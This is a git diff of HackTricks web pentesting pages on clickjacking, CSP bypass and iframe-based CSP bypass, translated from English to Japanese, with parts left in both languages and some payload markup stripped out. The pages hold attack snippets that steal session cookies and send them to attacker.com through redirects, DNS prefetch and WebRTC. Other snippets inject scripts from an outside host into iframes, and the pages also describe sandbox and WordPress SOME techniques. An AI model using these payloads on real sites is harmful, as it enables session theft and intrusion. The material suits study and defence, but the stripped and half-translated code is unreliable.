+クリックジャッキングは、**ユーザー**が**見えない**または他の要素に偽装されたウェブページの**要素**を**クリック**するように**だます**攻撃です。これにより、ユーザーは知らずにマルウェアをダウンロードしたり、悪意のあるウェブページを訪れたり、資格情報や機密情報を提供したり、お金を送金したり、オンラインで商品を購入したりすることがあります([ここから](https://www.imperva.com/learn/application-security/clickjacking/))。 -### Prepopulate forms trick +### フォームの事前入力トリック -Sometimes is possible to **fill the value of fields of a form using GET parameters when loading a page**. An attacker may abuse this behaviour to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit. +時には、ページの読み込み時にGETパラメータを使用してフォームのフィールドの値を**自動的に入力**することができます。攻撃者はこの動作を悪用して、フォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すようにします。 -### Populate form with Drag\&Drop +### ドラッグ&ドロップでフォームを入力 -If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like the email and or specific password that you know), you can just ask him to **Drag\&Drop** something that will write your controlled data like in [**this example**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). - -### Basic Payload +ユーザーにフォームを**入力**してもらいたいが、特定の情報(メールアドレスや特定のパスワードなど)を直接尋ねることはしたくない場合、[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように、制御されたデータを書き込むものを**ドラッグ&ドロップ**するように依頼することができます。 +### 基本的なペイロード ```markup
Click me
``` +### マルチステップペイロード -### Multistep Payload +In some cases, a simple clickjacking attack may not be enough to achieve the desired outcome. In such situations, a multistep payload can be used to execute a series of actions on the victim's behalf. +いくつかの場合において、単純なクリックジャッキング攻撃では望ましい結果を得ることができないことがあります。そのような状況では、マルチステップペイロードを使用して、被害者の代わりに一連のアクションを実行することができます。 + +The multistep payload involves embedding multiple iframes within iframes, each containing a specific action to be performed. By carefully orchestrating the sequence of actions, an attacker can trick the victim into unknowingly performing actions that they did not intend to. + +マルチステップペイロードでは、特定のアクションを含む複数のiframeをiframeに埋め込むことが含まれます。アクションのシーケンスを注意深く組み立てることで、攻撃者は被害者を騙して意図しないアクションを実行させることができます。 + +To implement a multistep payload, the attacker needs to identify the sequence of actions required to achieve their goal. They then create iframes for each action and embed them within each other, ensuring that the victim's clicks are redirected to the desired targets. + +マルチステップペイロードを実装するために、攻撃者は目標を達成するために必要なアクションのシーケンスを特定する必要があります。それから、各アクションに対してiframeを作成し、互いに埋め込みます。これにより、被害者のクリックが目的のターゲットにリダイレクトされるようにします。 + +It is important to note that multistep payloads can be more complex and may require additional techniques such as framebusting or other countermeasures to prevent detection and mitigation. + +マルチステップペイロードはより複雑であり、検出と緩和を防ぐためにフレームブレーキングやその他の対策などの追加のテクニックが必要な場合があることに注意してください。 ```markup
Click me first
Click me next
``` +### ドラッグ&ドロップ + クリックのペイロード -### Drag\&Drop + Click payload +This technique combines the use of drag and drop events with a click payload to perform a clickjacking attack. The idea is to trick the user into unknowingly performing a malicious action by disguising it as a harmless action. +この技術は、ドラッグ&ドロップイベントとクリックのペイロードを組み合わせて、クリックジャッキング攻撃を行います。そのアイデアは、無害なアクションと偽装して、ユーザーを知らず知らずのうちに悪意のあるアクションを実行させることです。 + +The first step is to create a draggable element on the attacker-controlled page. This can be done using HTML5's draggable attribute or JavaScript's drag and drop API. Once the element is draggable, the attacker can position it over a target element on the victim's page. + +最初のステップは、攻撃者が制御するページ上にドラッグ可能な要素を作成することです。これは、HTML5のdraggable属性やJavaScriptのドラッグ&ドロップAPIを使用して行うことができます。要素がドラッグ可能になったら、攻撃者はそれを被害者のページ上のターゲット要素の上に配置することができます。 + +Next, the attacker creates a transparent iframe that covers the draggable element. This iframe will act as a layer between the victim's page and the draggable element, preventing the victim from directly interacting with the element. + +次に、攻撃者は透明なiframeを作成し、ドラッグ可能な要素を覆います。このiframeは、被害者のページとドラッグ可能な要素の間にレイヤーとして機能し、被害者が要素と直接的にやり取りすることを防ぎます。 + +When the victim interacts with the draggable element, such as clicking on it, the click event is intercepted by the transparent iframe. The attacker can then trigger a click event on a hidden button or link within the iframe, effectively performing a clickjacking attack. + +被害者がドラッグ可能な要素とやり取りする(例:クリックする)と、クリックイベントは透明なiframeによって傍受されます。攻撃者は、iframe内の非表示のボタンやリンクでクリックイベントをトリガーし、実質的にクリックジャッキング攻撃を実行することができます。 + +To mitigate this type of attack, web developers should ensure that user interactions are properly validated and that draggable elements are not overlapped by transparent iframes. + +この種の攻撃を軽減するために、ウェブ開発者はユーザーのやり取りが適切に検証されていることを確認し、ドラッグ可能な要素が透明なiframeによって重ならないようにする必要があります。 ```markup @@ -110,78 +141,75 @@ background: #F00; ``` +### XSS + クリックジャッキング -### XSS + Clickjacking +ユーザーがクリックする必要がある **XSS 攻撃** を特定し、ページが **クリックジャッキングの脆弱性** を持っている場合、ユーザーを騙してボタン/リンクをクリックさせることで悪用することができます。\ +例:\ +_アカウントの一部のプライベートな詳細情報(あなただけが設定および読み取り可能な詳細情報)に **セルフ XSS** を見つけました。これらの詳細を設定するためのページは **クリックジャッキングの脆弱性** を持っており、GET パラメータで **フォーム** を **事前に入力** することができます。_\ +\_\_攻撃者は、そのページに対して **クリックジャッキング** 攻撃を準備し、**XSS ペイロード** を **フォーム** に **事前に入力** して **ユーザー** を **フォームを送信** するように **騙す** ことができます。そのため、**フォームが送信されると** 値が変更され、**ユーザーが XSS を実行** します。 -If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\ -Example:\ -_You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters._\ -\_\_An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**. +## クリックジャッキングを回避する方法 -## How to avoid Clickjacking +### クライアント側の防御策 -### Client side defences +クリックジャッキングを防ぐために、クライアント側で以下の動作を行うスクリプトを実行することができます。 -It's possible to execute scripts on the client side that perform some or all of the following behaviours to prevent Clickjacking: +* 現在のアプリケーションウィンドウがメインまたはトップウィンドウであることを確認および強制する +* すべてのフレームを表示する +* 不可視フレームをクリックできないようにする +* ユーザーに対して潜在的なクリックジャッキング攻撃を検出および警告する -* check and enforce that the current application window is the main or top window, -* make all frames visible, -* prevent clicking on invisible frames, -* intercept and flag potential clickjacking attacks on a user. - -#### Bypass - -As frame busters are JavaScript then the browser's security settings may prevent their operation or indeed the browser might not even support JavaScript. An effective attacker workaround against frame busters is to use the **HTML5 iframe `sandbox` attribute**. When this is set with the `allow-forms` or `allow-scripts` values and the `allow-top-navigation` value is omitted then the frame buster script can be neutralized as the iframe cannot check whether or not it is the top window: +#### バイパス +フレームバスターは JavaScript であるため、ブラウザのセキュリティ設定によってその動作が阻止される場合があります。実際には、ブラウザが JavaScript をサポートしていない場合もあります。フレームバスターに対する効果的な攻撃者の回避策は、**HTML5 の iframe `sandbox` 属性** を使用することです。これを `allow-forms` または `allow-scripts` の値で設定し、`allow-top-navigation` の値を省略すると、フレームバスタースクリプトは中断されます。なぜなら、iframe は自身がトップウィンドウであるかどうかをチェックできないからです。 ```markup ``` +`allow-forms`と`allow-scripts`の両方の値は、iframe内で指定されたアクションを許可しますが、トップレベルのナビゲーションは無効になります。これにより、ターゲットサイト内の機能は許可されますが、フレームの破壊行為は防止されます。 -Both the `allow-forms` and `allow-scripts` values permit the specified actions within the iframe but top-level navigation is disabled. This inhibits frame busting behaviours while allowing functionality within the targeted site. - -Depending on the type of Clickjacking attack performed **you may also need to allow**: `allow-same-origin` and `allow-modals` or [even more](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). When preparing the attack just check the console of the browser, it may tell you which other behaviours you need to allow. +実行するClickjacking攻撃のタイプによっては、`allow-same-origin`と`allow-modals`、または[さらに多くの設定](https://www.w3schools.com/tags/att_iframe_sandbox.asp)が必要になる場合があります。攻撃を準備する際には、ブラウザのコンソールを確認して、他の設定が必要かどうかを確認してください。 ### X-Frame-Options -The **`X-Frame-Options` HTTP response header** can be used to indicate whether or not a browser should be **allowed** to render a page in a `` or ` // The bot will load an URL with the payload ``` +### ブックマークレットを介して -### Via Bookmarklets +この攻撃は、攻撃者がユーザーに対してブラウザのブックマークレット上にリンクをドラッグアンドドロップするように説得することを意味します。このブックマークレットには、ドラッグアンドドロップまたはクリックされた場合に、現在のウェブウィンドウのコンテキストで実行される悪意のあるJavaScriptコードが含まれており、CSPをバイパスし、クッキーやトークンなどの機密情報を盗むことができます。 -This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens. - -For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +詳細については、[**こちらの元のレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/) - ```javascript document.querySelector('DIV').innerHTML=""; ``` +### 情報の漏洩 CSP + Iframe -### Leaking Information CSP + Iframe +ユーザーによって異なる秘密のあるページにリダイレクトする**ページがある**と想像してください。例えば、ユーザー**admin**が**redirectme.domain1.com**にアクセスすると、**adminsecret321.domain2.com**にリダイレクトされ、adminにXSSを引き起こすことができます。\ +**また、リダイレクトされるページはセキュリティポリシーによって許可されていませんが、リダイレクトするページは許可されています。** -Imagine a situation where a **page is redirecting** to a different **page with a secret depending** on the **user**. For example, the user **admin** accessing **redirectme.domain1.com** is redirected to **adminsecret321.domain2.com** and you can cause an XSS to the admin.\ -**Also pages that are redirected aren't allowed by the security policy, but the page that redirects is.** +管理者がリダイレクトされるドメインを以下の方法で漏洩することができます: -You can leak the domain where the admin is redirected through: +* **CSP違反を通じて** +* **CSPルールを通じて** -* **through CSP violation** -* **through CSP rules.** - -The CSP violation is an instant leak. All that needs to be done is to load an iframe pointing to `https://redirectme.domain1.com` and listen to `securitypolicyviolation` event which contains `blockedURI` property containing the domain of the blocked URI. That is because the `https://redirectme.domain1.com` (allowed by CSP) redirects to `https://adminsecret321.domain2.com` (**blocked by CSP**). This makes use of undefined behavior of how to handle iframes with CSP. Chrome and Firefox behave differently regarding this. - -When you know the characters that may compose the secret subdomain, you can also use a binary search and check when the CSP blocked the resource and when not creating different forbidden domains in the CSP (in this case the secret can be in the form doc-X-XXXX.secdrivencontent.dev) +CSP違反は即座に漏洩します。`https://redirectme.domain1.com`を指すiframeを読み込み、`securitypolicyviolation`イベントを監視します。このイベントには、ブロックされたURIのドメインを含む`blockedURI`プロパティが含まれています。これは、CSPによってブロックされる`https://adminsecret321.domain2.com`にリダイレクトされるためです(CSPによってブロックされます)。これは、CSPでiframeを処理する方法の未定義の動作を利用しています。ChromeとFirefoxはこれに関して異なる動作をします。 +秘密のサブドメインを構成する可能性のある文字を知っている場合、CSPがリソースをブロックした時としなかった時を確認するためにバイナリサーチを使用し、異なる禁止ドメインをCSPに作成することもできます(この場合、秘密はdoc-X-XXXX.secdrivencontent.devの形式である可能性があります)。 ``` img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` - -Trick from [**here**](https://ctftime.org/writeup/29310). +トリックは[**こちら**](https://ctftime.org/writeup/29310)から。
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグ報酬について通知を受ける -💬 Participate in community discussions +💬 コミュニティのディスカッションに参加する -## Unsafe Technologies to Bypass CSP +## CSPをバイパスするための安全でない技術 -### PHP response buffer overload +### PHPのレスポンスバッファの過負荷 -PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing a warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\ -Then, the technique consists basically in **filling the response buffer with warnings** so the CSP header isn't sent. +PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。そのため、PHPが警告を表示している場合、警告内に十分なデータを提供することで、CSPヘッダーの**送信**よりも**前に**レスポンスが**送信**され、ヘッダーが無視されます。\ +そのため、この技術は基本的にはレスポンスバッファを警告で**埋める**ことで、CSPヘッダーが送信されないようにすることです。 -Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). +アイデアは[**この解説**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)から得られました。 -### Rewrite Error Page - -From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content. +### エラーページの書き換え +[**この解説**](https://blog.ssrf.kr/69)によると、CSP保護をバイパスするために、エラーページ(CSPなしで可能性がある)を読み込んでその内容を書き換えることができたようです。 ```javascript a = window.open('/' + 'x'.repeat(4100)); setTimeout(function() { - a.document.body.innerHTML = ``; +a.document.body.innerHTML = ``; }, 1000); ``` - ### SOME + 'self' + wordpress -SOME is a technique that abuses an XSS (or highly limited XSS) **in an endpoint of a page** to **abuse** **other endpoints of the same origin.** This is done by loading the vulnerable endpoint from an attacker page and then refreshing the attacker page to the real endpoint in the same origin you want to abuse. This way the **vulnerable endpoint** can use the **`opener`** object in the **payload** to **access the DOM** of the **real endpoint to abuse**. For more information check: +SOMEは、**ページのエンドポイント**でのXSS(または非常に制限されたXSS)を悪用して、**同じオリジンの他のエンドポイントを悪用**する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、攻撃者のページを同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。これにより、**脆弱なエンドポイント**は**ペイロード**の**`opener`**オブジェクトを使用して、**悪用するための実際のエンドポイントのDOMにアクセス**することができます。詳細については、次を参照してください: {% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md) {% endcontent-ref %} -Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots). +さらに、**wordpress**には`/wp-json/wp/v2/users/1?_jsonp=data`という**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(ただし、文字、数字、ドットのみが許可されます)。 -An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ -For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +攻撃者は、このエンドポイントを悪用してWordPressに対して**SOME攻撃**を生成し、``の中に埋め込むことができます。この**スクリプト**は、**'self'によって許可**されているため、**ロード**されます。さらに、WordPressがインストールされているため、攻撃者は**SOME攻撃**を**バイパスする**ための**脆弱な****コールバック**エンドポイントを悪用することができます。これにより、ユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりすることができます。\ +この攻撃の実行方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を参照してください。 -## CSP Exfiltration Bypasses +## CSP情報漏洩のバイパス -If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. +外部サーバーとの**やり取りを許可しない厳格なCSP**がある場合、情報を漏洩させるために常に行えるいくつかの方法があります。 ### Location -You could just update the location to send to the attacker's server the secret information: - +単純に場所を更新して、秘密の情報を攻撃者のサーバーに送信することができます: ```javascript -var sessionid = document.cookie.split('=')[1]+"."; +var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` +### メタタグ -### Meta tag - -You could redirect by injecting a meta tag (this is just a redirect, this won't leak content) - +メタタグを注入することでリダイレクトすることができます(これは単なるリダイレクトであり、コンテンツは漏洩しません)。 ```html ``` +### DNS プリフェッチ -### DNS Prefetch - -To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\ -You can indicate a browser to pre-resolve a hostname with: `` - -You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**: +ページを高速に読み込むために、ブラウザはホスト名を事前に IP アドレスに解決し、後で使用するためにキャッシュします。\ +ブラウザにホスト名を事前に解決させるためには、次のように指定します:`` +これを悪用して、**DNS リクエストを介して機密情報を漏洩**することができます。 ```javascript -var sessionid = document.cookie.split('=')[1]+"."; +var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` - -Another way: - +別の方法: ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` - -In order to avoid this from happening the server can send the HTTP header: - +この問題を回避するために、サーバーは次のHTTPヘッダーを送信することができます: ``` X-DNS-Prefetch-Control: off ``` - {% hint style="info" %} -Apparently, this technique doesn't work in headless browsers (bots) +明らかに、このテクニックはヘッドレスブラウザ(ボット)では機能しません。 {% endhint %} ### WebRTC -On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP. - +いくつかのページでは、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と書かれています。 ```javascript var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]}); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp)); ``` +ただし、[もう不可能ではない](https://github.com/w3c/webrtc-nv-use-cases/issues/35)ようです(少なくとも簡単ではないかもしれません)。 -However, it doesn't look like it's [not possible anymore](https://github.com/w3c/webrtc-nv-use-cases/issues/35) (or at least not that easy). +WebRTCを使用して情報を外部に送信する方法を知っている場合は、[**プルリクエストを送ってください!**](https://github.com/carlospolop/hacktricks) -If you know how to exfiltrate info with WebRTC [**send a pull request please!**](https://github.com/carlospolop/hacktricks) - -## Checking CSP Policies Online +## オンラインでCSPポリシーをチェックする * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) -## Automatically creating CSP +## CSPを自動的に作成する [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) -## References +## 参考文献 * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) @@ -599,22 +565,22 @@ If you know how to exfiltrate info with WebRTC [**send a pull request please!**]
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family) +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
diff --git a/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index be78476a4..7a76d04ff 100644 --- a/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -1,40 +1,37 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-A configuration such as: - +次のような設定: ``` Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’; ``` +# CSPバイパス:self + unsafe-inline with iframes -Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval` +文字列として送信されたコードを実行する関数の使用を禁止します。たとえば、`eval, setTimeout, setInterval`は、`unsafe-eval`の設定によりすべてブロックされます。 -Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS +外部ソースからのコンテンツもブロックされます。これには、画像、CSS、WebSockets、特にJSが含まれます。 -## Via text & images +## テキストと画像を通じて -Modern browsers transform images and texts into HTML files to visualize them better (set background, center, etc). +モダンなブラウザは、画像やテキストをHTMLファイルに変換して、より良い表示(背景設定、中央揃えなど)を行います。 -Therefore, if you **open an image or txt file** such as **favicon.ico** or **robots.txt** with an **`iframe`**, you will open it as HTML. - -**These kinds of pages usually don't have CSP headers and might not have X-Frame-Options**, so you can execute arbitrary JS from them: +したがって、**`iframe`**を使用して**favicon.ico**や**robots.txt**などの**画像やテキストファイル**を開くと、それらをHTMLとして開くことができます。 +**この種のページには通常CSPヘッダーがなく、X-Frame-Optionsも設定されていない場合があります**ので、そこから任意のJSを実行することができます。 ```javascript frame=document.createElement("iframe"); frame.src="/css/bootstrap.min.css"; @@ -43,11 +40,9 @@ script=document.createElement('script'); script.src='//bo0om.ru/csp.js'; window.frames[0].document.head.appendChild(script); ``` +## エラー経由 -## Via Errors - -Same as text files or images, **error responses usually don't have CSP headers and might not have X-Frame-Options**. So, you can force errors and load them inside an iframe: - +テキストファイルや画像と同様に、**エラーレスポンスには通常CSPヘッダーがなく、X-Frame-Optionsもない場合があります**。そのため、エラーを強制し、それらをiframe内で読み込むことができます。 ```javascript // Force nginx error frame=document.createElement("iframe"); @@ -74,8 +69,7 @@ script=document.createElement('script'); script.src='//bo0om.ru/csp.js'; window.frames[0].document.head.appendChild(script); ``` - -## References +## 参考文献 * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) @@ -84,16 +78,14 @@ window.frames[0].document.head.appendChild(script); ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md index 0a4289529..063eb177f 100644 --- a/pentesting-web/cors-bypass.md +++ b/pentesting-web/cors-bypass.md @@ -1,63 +1,62 @@ -# CORS - Misconfigurations & Bypass +# CORS - 設定ミスとバイパス
